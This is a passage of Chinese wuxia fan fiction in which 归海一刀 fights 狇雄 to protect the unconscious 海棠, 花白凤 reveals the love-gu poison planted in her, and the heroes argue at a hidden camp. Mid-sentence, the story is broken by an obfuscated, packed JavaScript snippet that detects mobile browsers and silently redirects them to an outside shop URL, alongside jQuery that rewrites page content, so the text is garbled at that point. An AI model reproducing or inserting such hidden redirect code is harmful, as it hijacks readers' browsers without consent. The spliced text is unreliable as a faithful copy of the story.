“海棠!海棠!!海棠……” 一声声绝望的呼唤,却如同石沉大海一般,不见半分苏醒的迹象。他手指颤抖地探向海棠的鼻翼,所幸尚有一丝微弱气息。 “你……” 庆幸之余,一刀看向一旁的持刀男子,从那魁梧的身形和锐利的眼神,一刀辨认出正是昨夜偷袭自己之人,只不过眼下这男子并未蒙面,凭借之前阅览的滇南卷宗,一刀认出此人正是…… “你是……狇府二王爷狇雄!” “不错!” “海棠与你们狇王府无冤无仇,为何要害她?” “我只是受人之托,至于原因,就去问问她那位好师父吧!” 最后谈及海棠的师父,狇雄的语气中平添几分恨意。 然而,一刀已不管这些。无论何种原因,归海一刀绝不会容许任何伤害海棠之人。 一刀将海棠慢慢放下,转身已拔起汗血宝刀。 “归海大侠这是非要与我一战?”狇雄毫不掩饰轻蔑之情,“我劝大侠还是算了。若是早在一个月前,你我或许还有一战的价值,眼下,我劝你还是……” “少啰嗦!”一刀愤怒地打断狇雄,他已不想再多说什么。 河滩上的风渐渐晏息,二人周身杀气不断扩散。终于,只见一刀瞳孔骤然收缩,转瞬已提刀奔去。这一刀如此之快,以致肉眼根本无法看清,可狇雄挡下了。两刀相碰,双方都使足十成功力,霎时间,土石崩裂,声如惊雷。一刀到底有所顾忌,生怕刀气伤了身后的海棠。这一点心思被狇雄看穿,只见他冷笑一声,手上再施内力,生生将一刀震开。一刀连连后退,狇雄急追而上,狇雄不但出招迅疾狠辣,更是力大无穷,论刀势之刚猛,丝毫不输绝情斩。一刀原本重伤在身,眼下应战,每提一口真气都觉得丹田如烈火灼烧一般。但他不能退让! 转眼间二人已是连斗百招有余,二人皆是绝顶刀客,刀法玄妙霸道,快如闪电,攻似雷霆,平分秋色,可一刀内伤在身,真气受阻,无法发挥绝情斩之威势。相比之下,狇雄全无顾忌,如日中天,招招狠劲,震得一刀手臂钻心剧痛,一股热血渐渐涌上喉头。 眼见狇雄又是一刀迎面劈下,一刀奋力抵挡,却已是强弩之末,漆黑的刀刃没入他的左肩。狇雄本可以这样将一刀一斩而二,可他反而以内力一震,玄刀一圈,绞着一刀的宝刀引出外门。一刀本已力竭,一震之下,脚步不稳,被狇雄内劲牵引,踉踉跄跄地向一旁倒去,将护在身后的珍宝暴露在敌人面前。 “不——” 不顾一刀绝望的呼喊,狇雄玄刀插地,荡起一片碎石,向前打去。每一颗碎石呼啸生风,如锋利的暗器袭向海棠。一刀不顾一切地飞身奔去,昏迷的海棠不可能躲闪,而他已无力再挥出刀气。最终,一刀以肉身伏在海棠身上。 锋利的碎石如利箭般尽数打在一刀的背上,他强忍喉中涌出的腥甜,最终,仅有一滴细小的血珠落在海棠安静的睡容之上。 一刀爱怜地为海棠拂去血污,可狇雄却不给他机会,转眼间,狇雄已来到身前,再次举刀,而一刀已无力抵挡。 “算了,这样也好!” 一刀闭上双眼,他只想紧紧抱着她。 预想的疼痛并没有到来,取而代之的则是一阵熟悉的剑鸣之声。 说时迟那时快,眼看狇雄玄刀即将落下,不知从何处飞来一段铁链,卷缠狇雄持刀右臂。 只不过,狇雄也是一流高手,当机立断,反手横削,斩断铁链。紧接着一阵剑鸣传来,宛若龙吟,狇雄回身迎敌,可刚一转头,剑光已至,直刺面门。狇雄仰头堪堪闪过,岂料剑如灵蛇,银光一弯,又刺狇雄脑后,随即一道玄影已近身前,掌袭狇雄胸前大穴。 狇雄也真是了得,一招“怪蟒出洞”,以极其诡异的身法在间不容发之际,钻出剑圈,反手一挥,玄刀斩向来人手臂,而那人亦是临阵变招,剑光回刺,“叮”的一声点中玄刀刀身,借力跃开。 狇雄连退三步,这才看清,来人是一名年轻男子,容貌俊朗,身穿飞鱼玄袍,手中长剑薄如蝉翼,剑光莹莹,恰如一泓秋水。 “天字第一号段天涯!” “还有黄字第一号、风靡武林万千少女的威龙大侠成是非来也!” 狇雄惊讶未已,只听一阵豪迈笑声从天而降,紧接着眼前金光一闪,劲风扑面,狇雄急忙一闪,一记金刚拳头擦着他的耳朵而过,震得他耳鼓嗡鸣。狇雄大怒,正欲挥刀反击,天涯已紧跟而上,精钢软剑如银虹飞舞,连刺狇雄后背六处大穴,而成是非则正面铁拳连攻,拳势煊赫,与天涯前后夹击。狇雄无法,挥舞玄刀如岩山罩下,紧闭门户,固步自守。 此时,一刀也抱着海棠坐起身,看着来人,惊道: “天涯、成是非……你们怎么来了?” “一刀,你和海棠没事吧?” “喂,木头,你也太不够意思!来找海棠也不说一声!” 成是非仍是改不掉顽皮的性格,他与天涯夹击狇雄,稳占上风,于是抽空回头向一刀调笑。可这激怒了狇雄,狇雄眼神一暗,玄刀一收,待到成是非铁拳将至,刀身横削,震歪铁拳,同时借力向成是非颈间斩去。 成是非以金刚不坏神功护体,理应不惧刀剑,但狇雄内力浑厚,这一刀势如破竹,天涯见状,毅然出剑,直刺狇雄右肘“天井穴”。狇雄迫得一闪,刀势已乱,成是非趁机而上,一招“黑虎掏心”,直冲狇雄胸口,狇雄横掌抵挡,却还是被震得后退一步。 天涯认出狇雄,知其身份,既有顾忌,又是疑惑,于是朗声问道: “护民山庄与狇王府无冤无仇,王爷为何伤人?” 狇雄闭口不答。 “无论王爷出于何种目的,若你执意伤害一刀、海棠,天涯绝不会袖手旁观!” “天涯,和他啰嗦什么?上次是你成爷爷轻敌,这回连本带利地还给你。” 成是非一面高声奚笑,一面运拳如风,天涯亦是剑出闪电。狇雄刀势虽然刚猛,但被两大高手夹攻,顾此失彼,刀身每每与成是非铁拳相碰,震得他手臂酸麻,刀法渐乱,天涯软剑如灵蛇乘缝即入,逼近狇雄周身。 眼看狇雄败局已定,虚空中传来一阵妖媚女声: “哼,真是没用!” 众人大惊,只觉得这女声声量不大,却尖锐异常,如芒刺钻耳,可见发声之人武功极高。成是非听着耳熟,惊道: “不好!” 话音未落,只见一名红衣妇人踏水而来,成是非只感杀气已至,连忙使出一记“鹞子翻身”,堪堪躲闪,一道利爪擦着他的胸膛而过,撕裂他的胸衣。而狇雄趁此机会,转守为攻,反挥玄刀,一招“横贯四方”向后斩去。天涯猝不及防,提剑抵挡,狇雄力大无穷,刀势刚猛,只听一声闷响,震得天涯连退数步。 如此一来,形势又变,红衣妇人缠斗成是非,狇雄得以全力对付天涯。狇雄内力修为在天涯之上,加之刀法雄奇,连连抢攻,势如狂风暴雨,逼得天涯只有招架之力。而成是非更是不妙,他认出来人正是两个月前在雪川边上打败他的南教教主花白凤。如今又见,花白凤仍是同样招式,身法诡异,红袖翻飞,拳掌之间带有一股诡异的潜力,成是非心有余悸,不由得转攻为守。花白凤见状,嗤笑一声,扬起双指,讥讽道: “成郡马,小心了!” 这一招,令成是非不由自主地回想起刚到滇南的第一场败仗,那时花白凤不知为何清楚金刚不坏神功罩门所在,就是腋下“极泉穴”,借着这一招将成是非打得重伤。如今再见同样一招,成是非下意识地双臂一缩,护着要穴,反而露出胸前空门。花白凤早有预料,一掌打中成是非胸口。 按理说,成是非有金刚不坏神功护体,本不惧掌击之力。可花白凤最是清楚,雪川一战,成是非罩门已破,即使有一个月疗伤修养,也不可能完全恢复功力。眼下的金刚不坏神功不过是虚张声势,因此,花白凤这一掌直击丹田之位,以浑厚内力灌入成是非体内,搅得他真气大乱,一口鲜血喷薄而出。花白凤乘胜追击,利爪再逼成是非面门。 “成是非!” 天涯眼见成是非有难,一时分神,狇雄趁机玄刀连斫,击散天涯护身剑网,漆黑的刀刃已对准他的脖颈。 千钧一发之际,两枚花瓣呼啸而至,其中一枚击中狇雄的刀刃,力道之大,震得玄刀几乎脱手而去,另一枚则逼向花白凤。不过,花白凤听风辨器,及时收招,偏头一闪,花瓣掠过她的耳畔,划开面纱,削落一缕青丝。 花白凤后退数步,蒙面红纱悠然落地,现出一副风韵不减的绝美面容。 与此同时,一名白衣男子翩然落地,其身后还跟着四名白衣女子,四名女子刚一落地,迅速护在一刀、海棠四周。 那白衣男子丰神俊朗,面如冠玉,风度翩翩,虽鬓角隐隐可见几缕银丝,却不损气质半分,只是那一双墨玉般的温润眼眸总是透着几分悲凉。 再看花白凤,眼见被人偷袭,却也不恼,甚至忘了大敌当前。这一瞬间,她仿佛卸下一贯妩媚妖娆的气质,呆立原地,怔怔地望着眼前的白衣男子。 “就是你——” 这一幕反倒激怒在一旁的狇雄,他全力挥刀向白衣男子斩去。 这声怒吼也将花白凤唤回神来,她飞身上前,挡在白衣男子身前。狇雄见状,吓得急忙收招,花白凤则长袖一挥,“啪”的一声甩在狇雄脸上。 狇雄被打得连连后退,捂着红肿脸颊,满眼讶异地望着花白凤。 “轮不到你杀他!” 花白凤说得斩钉截铁,回身再看,只见白衣男子纹丝不动,面色如常,依旧目光柔和地看着她。二人彼此凝望,过了许久,男子才缓缓开口: “好久不见,白凤!” 这一声呼唤如此温柔,仿佛春日的融雪。可当这股暖流流入花白凤心中,反而唤起往昔记忆的滔天怒浪,她仰天大笑,仿佛要将心中积压多年的愤怒和怨恨尽数发泄。 “哈哈哈……春梦了无痕!无痕公子!”花白凤渐渐止住笑声,眼神之中尽显阴狠毒辣,“你终于来了,李——世——晴——” 最后三个字,花白凤说得一字一顿,咬牙切齿,仿佛誓要将眼前之人生吞活剥。其话语间透露出的恨意,令在场所有人都为之胆寒,却又不禁猜测这二人之间究竟有何恩怨? “你要找我,我就在这里,要杀要剐,悉听尊便,只求……你就此收手!” “悉听尊便?” 花白凤嗤笑一声,转眼间已飞身上前,一手掐住无痕公子的脖子。 在场所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292482|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都大吃一惊,却又不敢轻举妄动,只因刚才无痕公子竟无半分闪躲,眼下更无任何抵抗之举。花白凤掐着无痕公子的脖子,力道之狠辣,若换做常人,恐怕只一瞬便被拧断颈骨,她看着无痕公子面上逐渐显露痛苦之色,但仍旧无半分挣扎,只是目光悲凉地望着她。他抬起手,却不似攻击,只是缓缓伸向前方,似乎想要触摸她的脸。就在肌肤几乎相触的一瞬间,花白凤突然放开了手,连退几步。 “哈哈哈……好一个悉听尊便!无痕公子现在才说这话,不觉得晚了吗?” 无痕公子被掐得几乎窒息,好一会儿才缓过气来,道: “除此之外,我不知道还能如何补偿你。” “哼,无痕公子高风亮节,现在就算我说要将你扒皮拆骨,恐怕也难让你皱一丝眉头。我偏要对你这位宝贝徒弟下手,你越是心疼她,我就越要折磨她,我要让你看着她生不如死而又无……” “你敢!” 一声怒吼打断花白凤恶毒的语言,只见一刀不顾伤痛,挣扎着起身。 “哎呀呀,我竟忘了,这还有一位重情重义的好男儿!” “我不管你心中有何种怨恨,可海棠从未伤你分毫,你为何要如此害她?” “怪,就只怪她既是朱无视的义女,又是无痕公子的爱徒。朱无视杀我兄长,又陷害于我。至于这位无痕公子,负心薄情,是非不分。” 说到此处,花白凤气得咬牙切齿。 “如今朱无视死了一了百了,我就要他的儿女偿还!我倒是想问问成郡马,你的父亲古三通遭朱无视小人陷害,半生囚于天牢,不见天日,你的母亲也被逼自尽,如此血海深仇不报,却为了仇人之后出生入死,是何道理?” “你少来这套!”成是非一挥手打断花白凤,怒道,“别扯这些乱七八糟的,我懒得听!朱无视缺德事干得再多,那也是他自己造的孽,关海棠什么事?我书读得再少,这点是非还能分得清。倒是你,你肚子里有火,就拿海棠撒气,还要害石溪镇全镇百姓,我看你就是心肠恶……” “住口!”无痕公子急忙出声制止,却仍是晚了一步。 “心肠恶毒”四字清清楚楚地传入花白凤耳中。成是非心直口快,却不知道这四字如一把钢刀,深深刺入花白凤心中,将旧日伤口再度划开。花白凤无言反驳,呆立原地,半晌,忽地仰天大笑,笑声极尽疯狂,让人闻之不由得背脊发凉。 “哈哈哈……心肠恶毒!好一个心肠恶毒!说得好啊!” “不是这样的,白凤……” “你们说得都没错!我是魔教妖妇,心肠恶毒是理所当然。事到如今,我也不怕直说,上官海棠体内的情蛊是我亲手种下。” “情蛊……”听到此处,一刀感觉心被推入绝望的深渊。 “不错,情蛊。苗疆蛊毒万千,若论玄妙之最,当属情蛊。情蛊之玄妙,在于它既可为药,亦可为毒,既可救人,亦可害人。” 花白凤特意停顿些许,看了看众人紧张的神情,又见无痕公子只是低头沉默,却不出声阻止,更加得意。 “这么说吧,当初海棠姑娘得无痕公子所赠天香回魂丸护体,得以在柳生飘絮剑下保留一丝生机,可起死回生之术哪有如此简单?还需要其他方法辅助,而最理想的方法,就是情蛊。” 说着,花白凤一挥红袖,一只蝴蝶翩然飞落她的掌心。 “此蝶名为梦枕蝶,乃滇南特有之物,也被用作炼制情蛊。而情蛊特性在于能够最大限度激发人体内的药效功力。海棠姑娘是无痕公子的传人,功力深厚,体内又有天香回魂丸,可以保存生机,再加上情蛊催发之效,自然可以起死回生。只不过……世间万物,福祸相依,想要起死回生之神效,就必须承担九死一生的风险。炼制情蛊必须一味药引,若得此药引,就是救命神药,可若没有,那便是害人之物,而这位药引我料无痕公子决计不敢用。” “什么药引?” “所爱之人的心头之血。” 此言一出,众人纷纷望向一刀,而一刀则看向无痕公子。 “看来无痕公子还真是守口如瓶啊!”花白凤高声笑道,“那就由我来说吧!此蛊之所以名为情蛊,是因为其药力由情爱而生,所谓情之所至,金石为开,若真是生死不弃,起死回生又有何难?” “那我……” “我知道!”花白凤抬手打断一刀,“归海大侠重情重义,为了海棠姑娘,自然不怕锥心泣血,可情蛊炼制却没有那么简单。须将活蛊植入人体心脉之内,让其吸食血液,少则一月,多则七七,在这段期间,你要每时每刻承受虫噬心脉之苦。而且蛊虫一旦植入,不到时候就无法取出,倘若意志不坚,想要半途而废,也只会加剧蛊虫反噬,最终气血衰竭而亡。若熬过了这一步,便可进一步炼制入药;但若少了这一步……” “会怎么样?” “也不会怎么样。情蛊依然会发挥效力,依然可以助人起死回生,而眼下海棠姑娘复生就是最好的证明,只不过……” 花白凤故意拖长声音,她看着一刀神情焦急却又无能为力,心情大好。 “少了第一步的药引,蛊虫只能转而吸食上官姑娘的血液。” “什么……” “不过,这一点也是有应对之策。情蛊之力源自情爱,只要中蛊之人忘情弃爱即可。所以我为海棠姑娘施展迷魂之法,让她忘却以往一切记忆,只要不再见到过往故人,就什么也想不起来,蛊虫也会一直沉睡,她就可以作为一名普通的苗家女子重新开始生活。是你……” 花白凤话锋一转,直指一刀,语气嘲讽之中更带几分恶毒之意。 “是你非要来找她,是你让她想起一切,是你让事情走到这一步!” “你……”花白凤的话语如同无数利箭直击一刀,他无言反驳,只觉怒火中烧,全身的血液都在沸腾,叫嚣着要将眼前之人千刀万剐。 “我早就提醒过你,该忘就忘,执迷不悟是要后悔莫及。而且,这也怪不得我,反倒是这位无痕公子……”花白凤目光转向无痕公子,眼中满是嘲讽,“他明明知道这起死回生之法,也知道情蛊的效用与毒性,却毫无作为,更一字不提。归海大侠尽可以问问无痕公子,若他真是疼爱徒儿,为何任由自己的爱徒流落异乡而不闻不问?段大侠也不妨想一想,为何无痕公子放着自己的爱徒不救,反而去救她的仇人?他若真是问心无愧……” “够了!”眼见花白凤不断挑拨,无痕公子终于忍无可忍地出声打断,“你是决计不肯收手?” “哈,收手?我经营许久,就是为了今天,凭什么收手?我是魔教妖妇,自然要作恶多端,你说我心肠恶毒,我就恶毒给你看!” 言至此处,花白凤语气中的恨意又加深几分,但随即目光再次转向一刀。 “虽说负心之人死不足惜,不过我花白凤却佩服重情重义的好男儿。归海大侠可记得今早我所说过的话?” 此言一出,倒让一刀愣住,原本被愤怒填满的眼中出现一丝疑惑和警惕。 “我花白凤心肠恶毒,却言而有信,我说过,无论归海大侠何时想清楚了,尽可以来找我,我就在临仙阁恭候大驾。不过……” 花白凤又瞥了一眼海棠,冷笑道: “只怕,她等不了那么久!” 再一次提及海棠,言语中明显带有威胁之意,一刀怒而起身拔刀,花白凤却先一步,拉着狇雄飞身离去。 19. 情仇理还乱 佳人又何辜 大战之后,众人皆有损伤,一刀和海棠情况更为严重。无痕公子当即带领众人往云江上游移动,最终在入夜时分寻得一处隐蔽的山谷。此谷四面群山竹林环绕,山隘入口处迷雾不散,是绝佳的隐身之所。进入谷中,可见明亮的篝火和一圈行军营帐,周围有近百名兵卒护卫。这些兵卒是云萝带来的随行护卫。 自石溪镇一刀不辞而别后,云萝等人跟随无痕公子一路追来,因为游赋得仍需主持石溪镇救灾,无法分身,又担心云萝安危,故而选派百名精兵随护。天涯、成是非先行追寻一刀踪迹,无痕公子则寻得此处隐身山谷,指点云萝布置防卫,安置妥帖之后又匆匆赶去助战,好在及时救下众人。 虽说得救,可眼下情形不容乐观。一路上,一刀紧抱海棠,发现她面色苍白,手足冰凉,无论他如何调动内力为她取暖都不见效。眼见已回到营地,海棠突然手捂胸口,不停挣扎,她的意识尚在昏迷之中,无论一刀如何呼喊都不见回应,只是面色痛苦,咳喘不止,吐出的鲜血已将胸前的衣襟染红。 “前辈……” 一刀焦急地望向无痕公子,却见无痕公子神色凝重,一言不发。无痕公子扶海棠在榻上坐好,取银针为海棠刺穴,再以内力助她疏导真气。一柱香后,海棠的咳症终于有所减缓,恢复沉睡,可无痕公子也已累得满头大汗。 眼见如此,一刀也松了口气,他扶海棠躺下,转身想要向无痕公子细问海棠病情,却见无痕公子一言不发,挥了挥手,离开营帐。 一刀跟在无痕身后,誓要问个明白,却在帐外被无痕公子的侍女梅琴拦下。 “公子为海棠运气疗伤,已是疲惫,眼下需要休息。” “可……” “我明白归海大侠心中所虑,可海棠亦是公子唯一的入室弟子,公子绝不会坐视不理,更何况情蛊之毒也不是一时半刻能解,还请大侠稍安勿躁!” “稍安勿躁?”一刀怒道,“既是入室弟子,为何现在才来?无痕公子既能在如此绝妙时机出手相救,难道之前对魔教所为真就一无所知吗?” 一刀的质问咄咄逼人,而梅琴在无痕公子门下年龄最长,性情冷傲,一听一刀如此质疑无痕公子,不禁怒道: “公子多年来隐居常晴谷,不问世事,如今一知海棠有难,立即赶来相救。就算来迟一步,也轮不到你来斥责!反倒是你,你对海棠痴心情长,可当她遇险之时,你又在哪里?” “我……” 梅琴的话刺中一刀心中痛处,眼看冲突一触即发,成是非、云萝及时赶来阻拦。成是非拉着一刀,而云萝则代为向梅琴致歉。梅琴到底年长,见一刀无言反驳,也不再纠缠,甩袖离去。一刀虽心中激愤,但也明白眼下除了相信无痕公子再无他法。无奈,他只能甩开成是非,本想回营照看海棠,可刚一转身,却被定在原地。 越过成是非、云萝肩头,一刀看见一道人影正在远处徘徊张望。纵使夜色昏暗,但一刀还是一眼认出对方。 那人正是复活无恙的柳生飘絮。 一瞬间,一刀只觉得全身热血涌上头顶,手已不自觉地握紧刀柄。 一年前,当天涯告诉他,杀死海棠之人正是柳生飘絮之时,一刀同样震惊,却未及如此愤怒。原因之一,是当时的一刀已然强迫自己接受海棠已死的事实,他心中明白,无论最终下手的是谁,从根本上害死海棠的是铁胆神侯,铁胆神侯才是应该讨伐之人。于是,一刀将所有恨意转移向神侯,他阻止天涯自尽,一来是希望与天涯联手对战神侯,二来是他在心中不断自我劝诫,柳生飘絮已死,即便是再加上天涯,海棠亦不可能复生。 可眼下不同,原本已经熄灭的愤怒随着海棠的复生被再次点燃,原本以为可以忘却的仇恨,在见到飘絮的那一刻才发现根本无法忘怀。最重要的是,虽然眼下海棠复生,却身中奇毒,生死难料,而飘絮却安然无恙地站在眼前。 一刀脑海中生出一个想法,当初自己所承受的不白之冤,眼下海棠所经受的种种苦难,源头就在于飘絮,若是没有飘絮,他和海棠何来这些磨难?为何如今海棠饱受蛊毒折磨,可飘絮却安然无恙?为何他偏偏不救自己的弟子? 种种的猜疑和愤怒将一刀的理智吞没,他忘了自己仍身负重伤,也忘了云萝和成是非正在身旁,他无法控制自己的手脚,等回过神来,发现自己已然拔刀向飘絮冲去。 眼见一刀袭来,飘絮下意识地足尖一踏,凌空而起,避开刀锋。 真是好轻功啊!这就是柳生一族的武功吗? 一刀越想越恨,热血冲顶,挥舞宝刀,刀影如山,瞬间将飘絮笼罩在刀势之下。危急之刻,一道玄影飞来,手提软剑,银虹盘旋。只听“叮叮叮”满空连响,已将一刀一连十六记杀招通通挡下。 一刀已红了眼,不管不顾,举刀再斫。可这一回,来人没有抵挡,反而扔下手中的精钢软剑,以肉身挡在一刀与飘絮之间。 刀锋在与眉间毫寸之间生生停下,可凌厉的刀气依旧划破肌肤,青丝飘落,一缕血丝缓缓淌下。 一刀气得浑身发抖,眼下他只需再一用力,便可将眼前之人一斩而二。若是一年之前,他或许会毫不犹豫地挥刀斩下,可如今,面对着这个他打从心底认同敬佩、与海棠一样唤为“大哥”之人,他怎么也下不了手。 最终,一刀仿佛用尽全身力气,翻转手腕,锐利的刀锋划破夜空,最终没入土中。 “段天涯——” 面对一刀愤怒的呐喊,天涯无言以对,垂首含胸,双手抱拳,跪倒在地。 “天涯无德……”天涯沉沉地开口道,“我的妻子犯下滔天大错,本无颜求饶。可……她毕竟是我的发妻,是郎儿的母亲,我不能见死不救。若非要一命抵一命,请将我的性命拿去吧!” “天涯哥哥……” 这一跪如此沉重,天涯将作为男儿的最后尊严彻底抛弃,却仍无法抵消一刀心中愤恨半分。成是非和云萝吓得呆立一旁,正苦苦思索如何劝解之时,一刀突然开口道: “我看你面色苍白,早先与狇雄对战之时功力远不如以往。我问你一句,你是不是炼了情蛊?” 一刀冷冷俯视天涯,只见他低头跪拜,一言不发,想来是默认了。一刀只觉得心中原本好不容易稍稍平息的怒火再度燃起,手又不自觉地握紧刀柄,却听见背后传来声音。 “没错,是我助段庄主炼制情蛊,救了段夫人。” 果然,果然啊!除了他,谁还懂得起死回生之术?好一个春梦了无痕,好一个无痕公子!一刀怒极生悲,悲极反笑,笑到最后只剩绝望的一声: “为什么?” 相比于一刀绝望的愤怒,无痕公子平静得可怕,他淡淡开口道: “我知道你心中有许多疑惑不满,想知道答案就随我来。” 无痕公子将一刀带到自己的营帐,屏退四名侍女,从怀中摸出一枚小玉瓶,又亲自沏了一盏茶,送到一刀面前。 “这是南教秘药九天化金丹,你身受重伤,体内又有南教移花接木大法真气无法化解,所以才会败给狇雄。我会教你调息心法,再服用此药,应该能够很快恢复功力。” “南教秘传移花接木大法,还有秘药九天化金丹。” 一刀喃喃自语,根本不接无痕公子递来的药瓶和茶水,反而紧握手中宝刀,眼中满是戒备与愤怒。 “这两样是南教不传之秘,纵使无痕公子神通广大,也不会平白拥有这两项秘密吧?” “看来,归海大侠对我已毫无信任可言。” 面对一刀的质问,无痕公子苦笑一声,将茶和玉瓶放到一边。 “事到如今,我也没什么可隐瞒。我与南教教主花白凤乃是多年故交,二十年前,是她将移花接木心法与这颗九天化金丹交给我。” “还包括情蛊之法?” “是。” “那么,请前辈回答一个问题……”一刀进一步逼问道,“柳生飘絮是否乃前辈所救?” “可以这么说吧!柳生飘絮原本就有元龟气功护体,得以保存一丝生机,我助段庄主炼制情蛊,用情蛊将段夫人自身功力催发极致,才有如今的效果。” “那你为何不救海棠?” “我哪里不救海棠?”一刀言语过激,以致无痕公子原本温和的声线也显出几分怒气,“别忘了,保留海棠最后一丝生机的天香回魂丸便是我给她的。” “既然如此,你为何不早些现身救她?你若早些出手……” “那你就不必承受一年阴阳相隔之苦,海棠也不至于落在南教手中,被种下情蛊,平白遭受诸多苦难,是吗?” 无痕公子抢过话头,苦笑道: “你以为这些我没想到,需要你来提醒吗?我曾在二十年前立誓,此生不出常晴谷,不问世事。若非机缘巧合,我的侍女菊意在市井之中偶然听闻铁胆神侯已死的消息,我根本不知道海棠发生了什么。我得知此事以后,即料到事态有变,立刻派遣梅琴赶去保护海棠,只可惜晚到一步,海棠已经被南教劫走。更何况,世间万物,祸福相依,想要得到一样东西就必须付出相应代价。海棠体内天香回魂丸的药效需要情蛊激发,可情蛊并非仙药,若要有起死回生之效,就要冒着九死一生的风险。” “我不怕!” “我知道你不怕!”无痕公子一把打断一刀,反问道,“可你是否想过,海棠愿意吗?” 一刀顿时说不出话来。 “炼制情蛊并非易事。必须将活蛊植入人体心脉,在炼蛊期间,你不但要每时每刻忍受虫噬之苦,稍有不慎就会气血衰竭而死。就算你对海棠情深义重,愿意以命换命,可你想过海棠愿意吗?海棠那样善良,若她知道你为她所受的苦,她该如何心痛?若你死了,你叫海棠再受一回你所受过的相思之苦吗?” 无痕公子的话语,一字一句如同铁锤般敲打一刀,叫他无言以对。 是啊!这样阴阳相隔之苦,归海一刀最是清楚。这一年来,一刀选择自我放逐,他以海棠的志向为愿望,游遍名山大川,以海棠的劝诫为准则,除尽天下不平,他努力地模仿海棠的一言一行,仿佛上官海棠就活在世上。可归海一刀清楚,这不过自欺欺人,他心中的悲痛终究无法减轻半分。他甚至愚蠢地祈祷,以他的性命换海棠复生,却忘记若他死了,海棠将会如何? “可……可就算如此,也不该是海棠受折磨……”一刀颓然地瘫坐在椅子上,“就没有其他办法了吗?” 对此,无痕公子只是沉默以对。 “那如果……”一刀似乎想到什么,从椅子上腾然起身,“按照花白凤所说,情蛊之力源于情爱,只要海棠忘情,只要再让她忘记过去,是否就可以……” “但是这样一来,海棠就要忘记你,而你从今往后也不能再见海棠,这样的结果你……” “归海一刀无怨无悔!” 短短八字,其中却蕴含怎样的情义与决心? 无痕公子不禁心中感慨。若论世间最难言说之物,莫过“情”。有人为情向善,有人由情生恶,就说那铁胆神侯朱无视,其种种恶行的源头不过是一份求而不得的情爱,即使明知求而不得,却仍不择手段,仍要固执地将心爱之人绑在身边。可反观归海一刀,苦苦追求的心爱之人生死相隔,失而复得之后仍能选择主动放手,只为对方一份平安喜乐。想到此处,无痕公子眼中不禁浮现一丝敬佩之情,但随即则是更多的无奈。 “你以为我没有想过这法子吗?”无痕公子长叹一声,“此前海棠体内的情蛊尚未苏醒,因此迷魂之法对她有效。可如今海棠已然恢复记忆,情蛊也已苏醒,就算你躲着不见海棠,亦或是再施法令海棠忘却记忆,都无法再令情蛊沉睡。情蛊会不断咬噬她的心脉,吸食她的血液,直到……” “怎么会……” 短短几句话,将一刀的心再次推落谷底,他失神落魄连退数步,撞上一旁的桌椅。沉默许久,再度开口。 “请恕晚辈仍有一事不明,前辈为何要救柳生飘絮?” 这一次,无痕公子没有回答,只是背对一刀,沉默不语。 “前辈……” “我自有打算。” “自有打算?”一刀愤怒道,“看来前辈还是有所隐瞒。你说我对你毫无信任,可前辈又何曾信任于我?若你真是问心无愧……” “够了!”面对一刀的咄咄逼问,饶是以无痕公子如何温和宽厚,终是不免动怒,“天色已晚,我劝归海大侠还是回去早些休息吧!” 又是这样敷衍推脱!一刀满怀愤懑疑惑,正要继续追问,却见无痕公子挥手遣他离去。 罢了!事到如今,除了信任无痕公子再无他法。一刀强压下心中不满,对无痕公子弯腰一拜,转身离去。 等一刀离开后,梅琴进入账内。此时无痕公子倚坐矮榻之上,肘支案几,手抵前额,闭目假寐,周身透着一股疲惫与落寞。 梅琴小心翼翼地靠近,想看无痕公子是否已经入睡,岂料他突然开口。 “梅琴……” “在!” “你将桌上的药瓶与我抄写的心法一并送去给归海一刀,他还在气头上,等气消了或许会肯依法疗伤。” “是!” “再去请成少侠来,我看他今日大战亦有损伤,须得及早治疗。” 这一次,梅琴并未及时应答,眼中满是忧虑。 “怎么了?” “公子今日为海棠疗毒,已然耗费真气,眼下请先歇息吧!说到底,此事艰难,也不急在一时。” “不急在一时?”无痕公子苦笑一声,睁开双眼。 恰逢其时,一阵寒风涌入账内,将原本微弱的烛火彻底熄灭,清冷月辉倾洒账内,映照无痕公子英俊的面容,更映照出他眼中的悲凉。 “我这条性命多活一刻都算是苟延残喘,如今只求在我力所能及之时,让小辈们少受些苦!” 夜近三更,月至中天,皎洁的月辉倾洒于群山之间,驱散云雾,却也在山谷中投下阴影。 一道黑影无声潜入,她先是以迷烟迷倒谷口的守卫,摸到营帐附近。她躲在竹林中小心观察,夜色已深,几顶营帐均已熄灭灯火,但账外皆有守卫。虽说以天羽的武功放倒一两个守卫不是难事,但这些营帐集中,帐门相对,一处异动,必然引起他处警觉,而天羽也不是来此寻衅。 正当天羽思索下一步该如何之时,忽闻身后异响,她吓了一跳,转身就是一掌,却生生停住,因为身后之人正是她苦苦寻找的归海一刀。 “你……” 天羽喜出望外,却见一刀抬手示意她噤声,随即转身向后走。 羽紧紧跟随一刀来到竹林深处。竹林茂密深邃,此刻夜风涌动,拨开浓密的竹影,月辉照在天羽的满头银饰上,洁白无暇,熠熠生辉,可一刀却在阴影中背对身子,看也不看。 “你没事吧?我看你受伤,可担心了!” 相比于天羽溢满而出的关怀,一刀的语气异常冷漠。 “你怎么找来的?” “我……我跟在你们身后……跟来的……” “河滩大战之时你也在?” “嗯……”天羽小心翼翼地回答。 其实,今早在临仙阁前,天羽将海棠可能遭遇危险告诉一刀后,一刀立刻赶回临州城,得知发生的骚乱,又追踪至城外河滩。这一路上,天羽都在后悄悄跟随一刀,自然目睹所发生的一切。 “你……你听我说,我不是不想帮你,只是……” 河滩大战之时,天羽正躲在林中观察,她知道以一刀的伤势,绝无胜算,若是往常,按她的性子,早就上前相助,可当她看见并未蒙面的狇雄,她犹豫了。 早在昨夜花神之宴上,天羽已经认出前来偷袭的狇雄,她知道自己母亲花白凤与狇雄的私情,再加上今早母亲与一刀的言语较量,天羽几乎肯定眼下发生的一切皆是母亲所谋划。一方是自己的母亲,一方是自己的心上人,天羽实在不知该如何抉择。 